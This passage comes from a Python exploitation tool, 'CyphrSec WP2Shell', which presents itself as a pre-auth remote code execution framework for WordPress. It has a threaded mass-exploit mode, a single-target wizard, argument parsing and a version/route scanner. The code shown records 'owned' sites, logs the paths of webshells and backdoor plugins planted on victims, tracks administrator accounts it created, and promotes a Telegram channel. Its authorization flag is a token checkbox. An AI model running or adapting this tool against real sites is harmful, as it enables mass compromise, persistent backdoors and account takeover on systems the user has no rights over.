with scan:\\n\"\n                      f\"    python wp2shell.py remote -l target.txt \"\n                      f\"--authorized --active-probe -c 20 -f csv -o scan.csv\"),\n                  flush=True)\n            return 1\n        parser.error(str(exc))\n\n    if not 1 <= args.concurrency <= MAX_CONCURRENCY:\n        parser.error(f\"--concurrency must be between 1 and {MAX_CONCURRENCY}\")\n\n    total = len(targets)\n    log_path = getattr(args, \"log\", None) or \"exploit_log.txt\"\n    csv_path = getattr(args, \"results_csv\", None) or \"results.csv\"\n    owned_path = getattr(args, \"owned\", None) or \"pwn.txt\"\n\n    try:\n        Path(log_path).write_text(\"\", encoding=\"utf-8\")\n        Path(csv_path).write_text(\"target,exit_code\\n\", encoding=\"utf-8\")\n        Path(owned_path).write_text(\n            f\"# CyphrSec WP2Shell {CVE_ROUTE_CONFUSION} + {CVE_SQLI} owned targets\\n\"\n            f\"# tg: https://t.me/kingepepp\\n\",\n            encoding=\"utf-8\",\n        )\n        Path(_ADMIN_LOG).write_text(\n            f\"# CyphrSec WP2Shell admins created without RCE sink\\n\"\n            f\"# tg: https://t.me/kingepepp\\n\",\n            encoding=\"utf-8\",\n        )\n    except OSError:\n        pass\n\n    t0 = time.time()\n    results: List[Tuple[str, int]] = []\n    results_lock = threading.Lock()\n    print_lock = threading.Lock()\n    log_lock = threading.Lock()\n    counter = {\"done\": 0}\n    stats = {\"owned\": 0, \"fail\": 0, \"error\": 0, \"admin\": 0}\n\n    def work(item: Tuple[int, str]) -> Tuple[str, int]:\n        idx, target = item\n        buf = io.StringIO()\n        _TLS_STDOUT.set_buffer(buf)\n        _TLS_STDERR.set_buffer(buf)\n        code = 3\n        try:\n            try:\n                code = exploit_target(args, target)\n            except Exception as exc:\n                print(f\"[-] internal error {type(exc).__name__}: {exc}\")\n                code = 3\n        finally:\n            _TLS_STDOUT.set_buffer(None)\n            _TLS_STDERR.set_buffer(None)\n        body = buf.getvalue()\n\n        with results_lock:\n            results.append((target, code))\n\n        with log_lock:\n            with open(log_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"\\n===== [{idx}/{total}] {target} =====\\n\")\n                if body.strip():\n                    f.write(body)\n                f.write(f\"[*] exit={code}\\n\")\n            with open(csv_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                f.write(f\"{target},{code}\\n\")\n            if code == 0:\n                shell = \"\"\n                if \"Webshell active\" in body:\n                    shell = target.rstrip(\"/\") + \"/wp-content/uploads/ws.php\"\n                elif \"Backdoor plugin installed\" in body:\n                    shell = (target.rstrip(\"/\")\n                             + \"/wp-content/plugins/astral/install.php\")\n                with open(owned_path, \"a\", encoding=\"utf-8\", errors=\"replace\") as f:\n                    line = f\"{target} | owned | {_ts()}\"\n                    if shell:\n                        line += f\" | {shell}\"\n                    f.write(line + \"\\n\")\n\n        with print_lock:\n            counter[\"done\"] += 1\n            if code == 0:\n                stats[\"owned\"] += 1\n            elif code == 4:\n                stats[\"admin\"] += 1\n            elif code == 3:\n                stats[\"error\"] += 1\n            else:\n                stats[\"fail\"] += 1\n\n            # unique symbols: hexagon filled/hollow + circled X\n            c_ok = mint(\"\u2b22\" + str(stats[\"owned\"]))\n            c_adm = amber(\"\u2b21\" + str(stats[\"admin\"]))\n            c_bad = coral(\"\u2297\" + str(stats[\"fail\"] + stats[\"error\"]))\n\n            if code == 0:\n                tag = mint(\"\u2b22\")\n                tgt = mint(target)\n            elif code == 4:\n                tag = amber(\"\u2b21\")\n                tgt = amber(target)\n            else:\n                tag = coral(\"\u2297\")\n                tgt = gray(target)\n\n            # right-pad target visually so counters align\n            tgt_vis = len(target)\n            tgt_pad = \" \" * max(0, 52 - tgt_vis)\n\n            print(f\"  {tag}  {tgt}{tgt_pad}{c_ok}  {c_adm}  {c_bad}\",\n                  flush=True)\n        return target, code\n\n    # header\n    print()\n    print(box_top(\"MASS EXPLOIT\"))\n    print(box_line())\n    print(box_line(f\"   {lav('targets')} : {white(str(total))}\"\n                   f\"    {lav('workers')} : {white(str(args.concurrency))}\"\n                   f\"    {lav('delay')} : {white(str(getattr(args, 'delay', 2.0)) + 's')}\"))\n    print(box_line(f\"   {lav('cmd')}     : {white(args.cmd)}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    if args.concurrency > 1:\n        with concurrent.futures.ThreadPoolExecutor(max_workers=args.concurrency) as ex:\n            list(ex.map(work, enumerate(targets, 1)))\n    else:\n        for item in enumerate(targets, 1):\n            work(item)\n\n    elapsed = time.time() - t0\n    n_owned = stats[\"owned\"]\n    n_fail = stats[\"fail\"]\n    n_error = stats[\"error\"]\n    n_admin = stats[\"admin\"]\n\n    print()\n    print(box_top(\"SUMMARY\"))\n    print(box_line())\n    print(box_line(f\"   {mint('\u2b22 owned')}  : {mint(str(n_owned)).ljust(6)}\"\n                   f\"    {amber('\u2b21 admin')} : {amber(str(n_admin)).ljust(6)}\"))\n    print(box_line(f\"   {coral('\u2297 fail')}   : {coral(str(n_fail)).ljust(6)}\"\n                   f\"    {gray('errors')} : {gray(str(n_error)).ljust(6)}\"))\n    print(box_line(f\"   {lav('time')}   : {white(f'{elapsed:.1f}s')}\"))\n    print(box_line())\n    print(box_bot())\n\n    if stats[\"owned\"]:\n        print()\n        print(mint(\"\u2500\u2500 owned \u2500\u2500\"))\n        for t, _c in (r for r in results if r[1] == 0):\n            print(f\"  {mint('\u2b22')} {white(t)}\")\n    if n_admin:\n        print()\n        print(amber(\"\u2500\u2500 admins created (see admins.txt) \u2500\u2500\"))\n        for t, _c in (r for r in results if r[1] == 4):\n            print(f\"  {amber('\u2b21')} {white(t)}\")\n\n    fail_list = [(t, c) for t, c in results if c not in (0, 4)]\n    if fail_list:\n        print()\n        print(coral(\"\u2500\u2500 failed \u2500\u2500\"))\n        shown = fail_list[:300]\n        for t, code in shown:\n            print(f\"  {coral('\u2297')} {gray(t)}  {dim('exit=' + str(code))}\")\n        if len(fail_list) > len(shown):\n            print(coral(f\"  ... and {len(fail_list) - len(shown)} more\"))\n\n    print()\n    print(dim(f\"saved: {owned_path} | {_ADMIN_LOG} | {log_path} | {csv_path}\"))\n    print(violet(\"TG  \") + cyan(\"https://t.me/kingepepp\"))\n    return 0 if stats[\"owned\"] == total else 1\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  SINGLE TARGET MODE \u2014 wizard (no more empty box)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef run_single(args, parser) -> int:\n    global _ANSI\n    _ANSI = (not getattr(args, \"no_color\", False)) and (\n        os.environ.get(\"FORCE_COLOR\") == \"1\" or _STDOUT_ISATTY)\n\n    # collect target\n    target = args.target[0] if args.target else None\n    if not target:\n        target = _ask(f\"  {violet('target')} > \", \"\")\n        if not target:\n            print(coral(\"[-]\") + \" no target given\")\n            return 2\n\n    # collect cmd\n    cmd = getattr(args, \"cmd\", None)\n    if not cmd:\n        cmd = _ask(f\"  {violet('cmd')}    > [{dim('id')}] \", \"id\")\n\n    authorized = getattr(args, \"authorized\", False)\n    if not authorized:\n        yn = _ask(f\"  {violet('authorized')} > [{dim('y/N')}] \", \"n\")\n        authorized = yn.lower() in (\"y\", \"yes\")\n\n    if not authorized:\n        print(coral(\"[-]\") + \" must acknowledge authorization\")\n        return 2\n\n    args.target = [target]\n    args.cmd = cmd\n    args.authorized = True\n    args.targets_file = getattr(args, \"targets_file\", []) or []\n    if not getattr(args, \"log\", None):\n        args.log = \"single_log.txt\"\n    if not getattr(args, \"results_csv\", None):\n        args.results_csv = \"single_results.csv\"\n    if not getattr(args, \"owned\", None):\n        args.owned = \"pwn.txt\"\n\n    try:\n        Path(args.log).write_text(\"\", encoding=\"utf-8\")\n        Path(args.results_csv).write_text(\"target,exit_code\\n\", encoding=\"utf-8\")\n    except OSError:\n        pass\n\n    t0 = time.time()\n    print()\n    print(box_top(\"SINGLE EXPLOIT\"))\n    print(box_line())\n    print(box_line(f\"   {lav('target')} : {white(target)}\"))\n    print(box_line(f\"   {lav('cmd')}    : {white(cmd)}\"))\n    print(box_line())\n    print(box_bot())\n    print()\n\n    code = 3\n    try:\n        code = exploit_target(args, target)\n    except Exception as exc:\n        print(coral(\"[-]\") + f\" internal error {type(exc).__name__}: {exc}\",\n              file=sys.stderr)\n\n    elapsed = time.time() - t0\n    print()\n    print(box_top(\"RESULT\"))\n    print(box_line())\n    if code == 0:\n        print(box_line(f\"   {lav('status')} : {mint('OWNED \u2014 RCE confirmed')}\"))\n    elif code == 4:\n        print(box_line(f\"   {lav('status')} : {amber('ADMIN CREATED \u2014 no RCE sink')}\"))\n    elif code == 2:\n        print(box_line(f\"   {lav('status')} : \"\n                       f\"{coral('NOT VULNERABLE / NOT CONFIRMED')}\"))\n    else:\n        print(box_line(f\"   {lav('status')} : {coral('ERROR (exit ' + str(code) + ')')}\"))\n    print(box_line(f\"   {lav('time')}   : {white(f'{elapsed:.1f}s')}\"))\n    print(box_line())\n    print(box_bot())\n\n    try:\n        with open(args.results_csv, \"a\", encoding=\"utf-8\") as f:\n            f.write(f\"{target},{code}\\n\")\n    except OSError:\n        pass\n\n    return code\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  ARG PARSER\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef build_parser() -> argparse.ArgumentParser:\n    parser = argparse.ArgumentParser(\n        prog=\"wp2shell.py\",\n        description=\"CyphrSec WP2Shell \u2014 pre-auth RCE framework for WordPress \"\n                    \"CVE-2026-63030 + CVE-2026-60137 (mass + single target).\",\n    )\n    parser.add_argument(\"--version\", action=\"version\",\n                        version=f\"%(prog)s {TOOL_VERSION}\")\n    subparsers = parser.add_subparsers(dest=\"command\", required=False)\n\n    remote = subparsers.add_parser(\n        \"remote\", help=\"Scan one or more authorized HTTP(S) WordPress targets.\")\n    remote.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    remote.add_argument(\"-l\", \"--targets-file\", action=\"append\", default=[])\n    remote.add_argument(\"--stdin\", action=\"store_true\")\n    remote.add_argument(\"--authorized\", action=\"store_true\")\n    remote.add_argument(\"--default-scheme\", choices=[\"https\", \"http\"],\n                        default=\"https\")\n    remote.add_argument(\"-c\", \"--concurrency\", type=int,\n                        default=DEFAULT_CONCURRENCY)\n    remote.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    remote.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    remote.add_argument(\"--retries\", type=int, default=1)\n    remote.add_argument(\"--max-targets\", type=int, default=None)\n    remote.add_argument(\"--max-body-bytes\", type=int, default=DEFAULT_MAX_BODY)\n    remote.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    remote.add_argument(\"--no-redirects\", action=\"store_true\")\n    remote.add_argument(\"--allow-cross-host-redirects\", action=\"store_true\")\n    remote.add_argument(\"--proxy\")\n    remote.add_argument(\"-H\", \"--header\", action=\"append\", default=[])\n    remote.add_argument(\"--user-agent\", default=DEFAULT_USER_AGENT)\n    remote.add_argument(\"--fingerprint-level\",\n                        choices=[\"quick\", \"standard\", \"extended\"],\n                        default=\"standard\")\n    remote.add_argument(\"--active-probe\", action=\"store_true\")\n    remote.add_argument(\"--rest-endpoint\",\n                        choices=[\"query\", \"pretty\", \"both\"], default=\"both\")\n    remote.add_argument(\"--include-request-log\", action=\"store_true\")\n    remote.add_argument(\"-f\", \"--format\",\n                        choices=[\"table\", \"json\", \"jsonl\", \"csv\"],\n                        default=\"table\")\n    remote.add_argument(\"-o\", \"--output\")\n    remote.add_argument(\"--fail-on\",\n                        choices=[\"never\", \"vulnerable\", \"unknown\"],\n                        default=\"vulnerable\")\n\n    local = subparsers.add_parser(\n        \"local\", help=\"Read the exact version from a local WordPress source tree.\")\n    local.add_argument(\"--wordpress-root\", required=True)\n    local.add_argument(\"-f\", \"--format\",\n                       choices=[\"table\", \"json\", \"jsonl\", \"csv\"],\n                       default=\"table\")\n    local.add_argument(\"-o\", \"--output\")\n    local.add_argument(\"--fail-on\",\n                       choices=[\"never\", \"vulnerable\", \"unknown\"],\n                       default=\"vulnerable\")\n\n    exploit_parser = subparsers.add_parser(\n        \"exploit\", help=\"Mass full-chain exploitation: achieve pre-auth RCE.\")\n    exploit_parser.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"-l\", \"--targets-file\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"--cmd\", default=None)\n    exploit_parser.add_argument(\"--authorized\", action=\"store_true\", required=True)\n    exploit_parser.add_argument(\"--default-scheme\",\n                                choices=[\"https\", \"http\"], default=\"https\")\n    exploit_parser.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    exploit_parser.add_argument(\"--retries\", type=int, default=1)\n    exploit_parser.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    exploit_parser.add_argument(\"-c\", \"--concurrency\", type=int, default=1)\n    exploit_parser.add_argument(\"--delay\", type=float, default=2.0)\n    exploit_parser.add_argument(\"--log\", default=\"exploit_log.txt\")\n    exploit_parser.add_argument(\"--results-csv\", default=\"results.csv\")\n    exploit_parser.add_argument(\"--owned\", default=\"pwn.txt\")\n    exploit_parser.add_argument(\"--no-color\", action=\"store_true\")\n    exploit_parser.add_argument(\"--proxy\")\n    exploit_parser.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    exploit_parser.add_argument(\"--header\", action=\"append\", default=[])\n    exploit_parser.add_argument(\"--debug\", action=\"store_true\")\n    exploit_parser.add_argument(\"--password\")\n    exploit_parser.add_argument(\"--username\", default=\"admin\")\n    exploit_parser.add_argument(\"--wordlist\")\n    exploit_parser.add_argument(\"-o\", \"--output\")\n\n    single = subparsers.add_parser(\n        \"single\", help=\"Interactive single-target exploit wizard.\")\n    single.add_argument(\"-u\", \"--target\", action=\"append\", default=[])\n    single.add_argument(\"--cmd\", default=None)\n    single.add_argument(\"--authorized\", action=\"store_true\")\n    single.add_argument(\"--default-scheme\", choices=[\"https\", \"http\"],\n                        default=\"https\")\n    single.add_argument(\"--timeout\", type=float, default=DEFAULT_TIMEOUT)\n    single.add_argument(\"--retries\", type=int, default=1)\n    single.add_argument(\"-k\", \"--insecure\", action=\"store_true\")\n    single.add_argument(\"--delay\", type=float, default=2.0)\n    single.add_argument(\"--log\", default=\"single_log.txt\")\n    single.add_argument(\"--results-csv\", default=\"single_results.csv\")\n    single.add_argument(\"--owned\", default=\"pwn.txt\")\n    single.add_argument(\"--no-color\", action=\"store_true\")\n    single.add_argument(\"--proxy\")\n    single.add_argument(\"--rate\", type=float, default=DEFAULT_RATE)\n    single.add_argument(\"--header\", action=\"append\", default=[])\n    single.add_argument(\"--debug\", action=\"store_true\")\n    single.add_argument(\"--password\")\n    single.add_argument(\"--username\", default=\"admin\")\n    single.add_argument(\"--wordlist\")\n    single.add_argument(\"-o\", \"--output\")\n\n    return parser\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  OUTPUT FORMATTERS\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef exit_code_for(rows: Sequence[Mapping[str, Any]], policy: str) -> int:\n    if policy == \"never\":\n        return 0\n    vulnerable_verdicts = {\n        \"CONFIRMED_VULNERABLE_BEHAVIOR\", \"CONFIRMED_AFFECTED_VERSION\",\n        \"LIKELY_VULNERABLE\", \"VULNERABLE_SQLI_ONLY\",\n        \"AFFECTED_VERSION_BUT_BEHAVIOR_NOT_OBSERVED\",\n    }\n    if any(str(row.get(\"verdict\")) in vulnerable_verdicts for row in rows):\n        return 2\n    if policy == \"unknown\":\n        unknown_verdicts = {\n            \"UNKNOWN\", \"UNKNOWN_PRERELEASE\", \"POTENTIALLY_EXPOSED_VERSION_UNKNOWN\",\n            \"WORDPRESS_VERSION_UNKNOWN\", \"ERROR\",\n        }\n        if any(str(row.get(\"verdict\")) in unknown_verdicts for row in rows):\n            return 3\n    return 0\n\n\ndef read_targets(direct: Sequence[str], files: Sequence[str], read_stdin: bool,\n                 max_targets: int) -> List[str]:\n    targets = list(direct)\n    for filename in files:\n        try:\n            lines = Path(filename).read_text(encoding=\"utf-8-sig\").splitlines()\n        except OSError as exc:\n            raise ValueError(f\"cannot read targets file {filename!r}: {exc}\") from exc\n        for line in lines:\n            stripped = line.strip()\n            if not stripped or stripped.startswith(\"#\"):\n                continue\n            targets.append(stripped.split()[0])\n    if read_stdin:\n        for line in sys.stdin:\n            stripped = line.strip()\n            if not stripped or stripped.startswith(\"#\"):\n                continue\n            targets.append(stripped.split()[0])\n    deduped = []\n    seen = set()\n    for target in targets:\n        if target not in seen:\n            deduped.append(target)\n            seen.add(target)\n    if not deduped:\n        raise ValueError(\"no targets supplied\")\n    if max_targets is not None and (max_targets <= 0 or max_targets > MAX_TARGETS_HARD):\n        raise ValueError(f\"--max-targets must be between 1 and {MAX_TARGETS_HARD}\")\n    if max_targets is not None and len(deduped) > max_targets:\n        raise ValueError(f\"target count {len(deduped)} exceeds --max-targets {max_targets}\")\n    return deduped\n\n\ndef parse_local_version(root: Path) -> Tuple[Optional[WPVersion], Path, List[str]]:\n    errors: List[str] = []\n    version_file = root / \"wp-includes\" / \"version.php\"\n    if not version_file.is_file():\n        return None, version_file, [f\"not found: {version_file}\"]\n    try:\n        content = version_file.read_text(encoding=\"utf-8\", errors=\"replace\")\n    except OSError as exc:\n        return None, version_file, [f\"cannot read {version_file}: {exc}\"]\n    match = re.search(r\"\\$wp_version\\s*=\\s*['\\\"]([^'\\\"]+)['\\\"]\\s*;\", content, re.I)\n    if not match:\n        errors.append(\"$wp_version assignment was not found\")\n        return None, version_file, errors\n    version = parse_wp_version(match.group(1))\n    if version is None:\n        errors.append(f\"could not parse version value {match.group(1)!r}\")\n    return version, version_file, errors\n\n\ndef scan_local(root_text: str) -> LocalResult:\n    root = Path(root_text).expanduser().resolve()\n    result = LocalResult(wordpress_root=str(root))\n    version, version_file, errors = parse_local_version(root)\n    result.version_file = str(version_file)\n    result.errors.extend(errors)\n    if version is None:\n        result.verdict = \"ERROR\"\n        result.severity = \"info\"\n        result.summary = \"An exact WordPress source version could not be read.\"\n        result.remediation = (\"Point --wordpress-root at the directory containing \"\n                              \"wp-includes/version.php.\")\n        return result\n    result.selected_version = str(version)\n    assessment, verdict, severity, summary = assess_version(version)\n    result.version_assessment = assessment\n    result.verdict = verdict\n    result.severity = severity\n    result.summary = summary\n    if verdict == \"LIKELY_VULNERABLE\":\n        result.verdict = \"CONFIRMED_AFFECTED_VERSION\"\n        result.remediation = _safe_remediation()\n    elif verdict == \"VULNERABLE_SQLI_ONLY\":\n        result.remediation = (\"Update WordPress 6.8.x to 6.8.6 or a later \"\n                              \"supported release.\")\n    else:\n        result.remediation = (\"Keep WordPress core on the latest supported \"\n                              \"security release and verify core checksums.\")\n    return result\n\n\ndef severity_rank(value: str) -> int:\n    return {\"critical\": 4, \"high\": 3, \"medium\": 2, \"low\": 1, \"info\": 0}.get(value, 0)\n\n\ndef format_table(rows: Sequence[Mapping[str, Any]]) -> str:\n    headers = [\"SEVERITY\", \"VERDICT\", \"VERSION\", \"BATCH\", \"ACTIVE\", \"TARGET\"]\n    data: List[List[str]] = []\n    for row in rows:\n        active = row.get(\"active_probe\", {}) if isinstance(row.get(\"active_probe\"), dict) else {}\n        data.append([\n            str(row.get(\"severity\", \"\")),\n            str(row.get(\"verdict\", \"\")),\n            str(row.get(\"selected_version\") or \"-\"),\n            (\"yes\" if row.get(\"batch_route_exposed\") is True\n             else \"no\" if row.get(\"batch_route_exposed\") is False else \"?\"),\n            str(active.get(\"result\", \"-\")),\n            str(row.get(\"target\") or row.get(\"wordpress_root\") or \"\"),\n        ])\n    widths = [len(h) for h in headers]\n    for row in data:\n        for idx, cell in enumerate(row):\n            widths[idx] = min(max(widths[idx], len(cell)),\n                              46 if idx in {1, 5} else 28)\n\n    def render(row: Sequence[str]) -> str:\n        cells = []\n        for idx, cell in enumerate(row):\n            shown = cell\n            if len(shown) > widths[idx]:\n                shown = shown[:max(1, widths[idx] - 1)] + \"\u2026\"\n            cells.append(shown.ljust(widths[idx]))\n        return \"  \".join(cells)\n\n    lines = [render(headers), render([\"-\" * w for w in widths])]\n    lines.extend(render(row) for row in data)\n    return \"\\n\".join(lines)\n\n\n_CSV_FIELDS = [\n    \"target\", \"normalized_target\", \"wordpress_detected\", \"selected_version\",\n    \"version_confidence\", \"version_assessment\", \"batch_route_exposed\",\n    \"active_probe_result\", \"verdict\", \"severity\", \"summary\", \"remediation\",\n    \"errors\", \"scanned_at\",\n]\n\n\ndef _flat_row(row: Mapping[str, Any]) -> Dict[str, Any]:\n    active = row.get(\"active_probe\", {}) if isinstance(row.get(\"active_probe\"), dict) else {}\n    return {\n        \"target\": row.get(\"target\") or row.get(\"wordpress_root\"),\n        \"normalized_target\": row.get(\"normalized_target\"),\n        \"wordpress_detected\": row.get(\"wordpress_detected\"),\n        \"selected_version\": row.get(\"selected_version\"),\n        \"version_confidence\": row.get(\"version_confidence\"),\n        \"version_assessment\": row.get(\"version_assessment\"),\n        \"batch_route_exposed\": row.get(\"batch_route_exposed\"),\n        \"active_probe_result\": active.get(\"result\"),\n        \"verdict\": row.get(\"verdict\"),\n        \"severity\": row.get(\"severity\"),\n        \"summary\": row.get(\"summary\"),\n        \"remediation\": row.get(\"remediation\"),\n        \"errors\": \" | \".join(row.get(\"errors\", [])),\n        \"scanned_at\": row.get(\"scanned_at\"),\n    }\n\n\ndef _csv_append(path: str, row: Mapping[str, Any], first: bool) -> None:\n    with open(path, \"a\", newline=\"\", encoding=\"utf-8\", errors=\"replace\") as f:\n        writer = csv.DictWriter(f, fieldnames=_CSV_FIELDS)\n        if first:\n            writer.writeheader()\n        writer.writerow(_flat_row(row))\n\n\ndef output_results(rows: Sequence[Mapping[str, Any]], output_format: str,\n                   output_path: Optional[str]) -> None:\n    if output_format == \"json\":\n        text = json.dumps(list(rows), indent=2, sort_keys=True) + \"\\n\"\n    elif output_format == \"jsonl\":\n        text = \"\".join(json.dumps(row, sort_keys=True) + \"\\n\" for row in rows)\n    elif output_format == \"csv\":\n        buffer = io.StringIO()\n        writer = csv.DictWriter(buffer, fieldnames=_CSV_FIELDS)\n        writer.writeheader()\n        for row in rows:\n            writer.writerow(_flat_row(row))\n        text = buffer.getvalue()\n    else:\n        text = format_table(rows) + \"\\n\"\n    if output_path:\n        Path(output_path).write_text(text, encoding=\"utf-8\")\n    else:\n        sys.stdout.write(text)\n\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  REMOTE SCAN\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n\ndef scan_target(raw_target: str, config: ScanConfig,\n                limiter: RateLimiter) -> ScanResult:\n    result = ScanResult(target=raw_target)\n    try:\n        base = normalize_target(raw_target, config.default_scheme)\n    except ValueError as exc:\n        result.errors.append(str(exc))\n        finalize_scan_result(result)\n        return result\n    result.normalized_target = base\n    client = HttpClient(config, limiter)\n    responses: List[Tuple[str, HttpResult]] = []\n\n    home = client.request(\"GET\", endpoint_url(base, \"home\"))\n    _record_request(result, home, config.include_request_log)\n    responses.append((\"home\", home))\n    result.final_target = home.final_url\n    if home.error and home.status is None:\n        result.errors.append(f\"home: {home.error}\")\n\n    rest_query = client.request(\"GET\", endpoint_url(base, \"rest-query-index\"))\n    _record_request(result, rest_query, config.include_request_log)\n    responses.append((\"rest-index\", rest_query))\n    batch_exposed, rest_valid = parse_rest_index(rest_query)\n\n    if not rest_valid:\n        rest_pretty = client.request(\"GET\", endpoint_url(base, \"rest-pretty-index\"))\n        _record_request(result, rest_pretty, config.include_request_log)\n        responses.append((\"rest-index\", rest_pretty))\n        pretty_batch, pretty_valid = parse_rest_index(rest_pretty)\n        if pretty_valid:\n            batch_exposed = pretty_batch\n            rest_valid = True\n        elif rest_pretty.error and rest_pretty.status is None:\n            result.errors.append(f\"REST index: {rest_pretty.error}\")\n    result.batch_route_exposed = batch_exposed\n\n    if config.fingerprint_level in {\"standard\", \"extended\"}:\n        feed = client.request(\"GET\", endpoint_url(base, \"feed\"))\n        _record_request(result, feed, config.include_request_log)\n        responses.append((\"feed\", feed))\n    if config.fingerprint_level == \"extended\":\n        readme = client.request(\"GET\", endpoint_url(base, \"readme\"))\n        _record_request(result, readme, config.include_request_log)\n        responses.append((\"readme\", readme))\n\n    wp_confidence = 0.0\n    evidence: List[VersionEvidence] = []\n    for source_hint, response in responses:\n        confidence, _signals = wordpress_signals(response)\n        wp_confidence = max(wp_confidence, confidence)\n        evidence.extend(extract_version_evidence(response, source_hint))\n\n    result.wordpress_confidence = wp_confidence\n    result.wordpress_detected = wp_confidence >= 0.50 or rest_valid\n    result.version_evidence = evidence\n    selected, selected_confidence, conflict = select_version(evidence)\n    result.selected_version = str(selected) if selected else None\n    result.version_confidence = selected_confidence\n    result.version_conflict = conflict\n\n    if config.active_probe and result.wordpress_detected:\n        endpoint_kinds = (\n            [\"rest-query-batch\"] if config.rest_endpoint == \"query\"\n            else [\"rest-pretty-batch\"] if config.rest_endpoint == \"pretty\"\n            else [\"rest-query-batch\", \"rest-pretty-batch\"]\n        )\n        best_probe: Optional[ActiveProbeResult] = None\n        for kind in endpoint_kinds:\n            probe_response = client.request(\n                \"POST\", endpoint_url(base, kind),\n                json_body=SAFE_ROUTE_CONFUSION_PROBE,\n                headers={\"X-WP2Shell-Detector\": \"safe-read-only\"},\n                retry=False)\n            _record_request(result, probe_response, 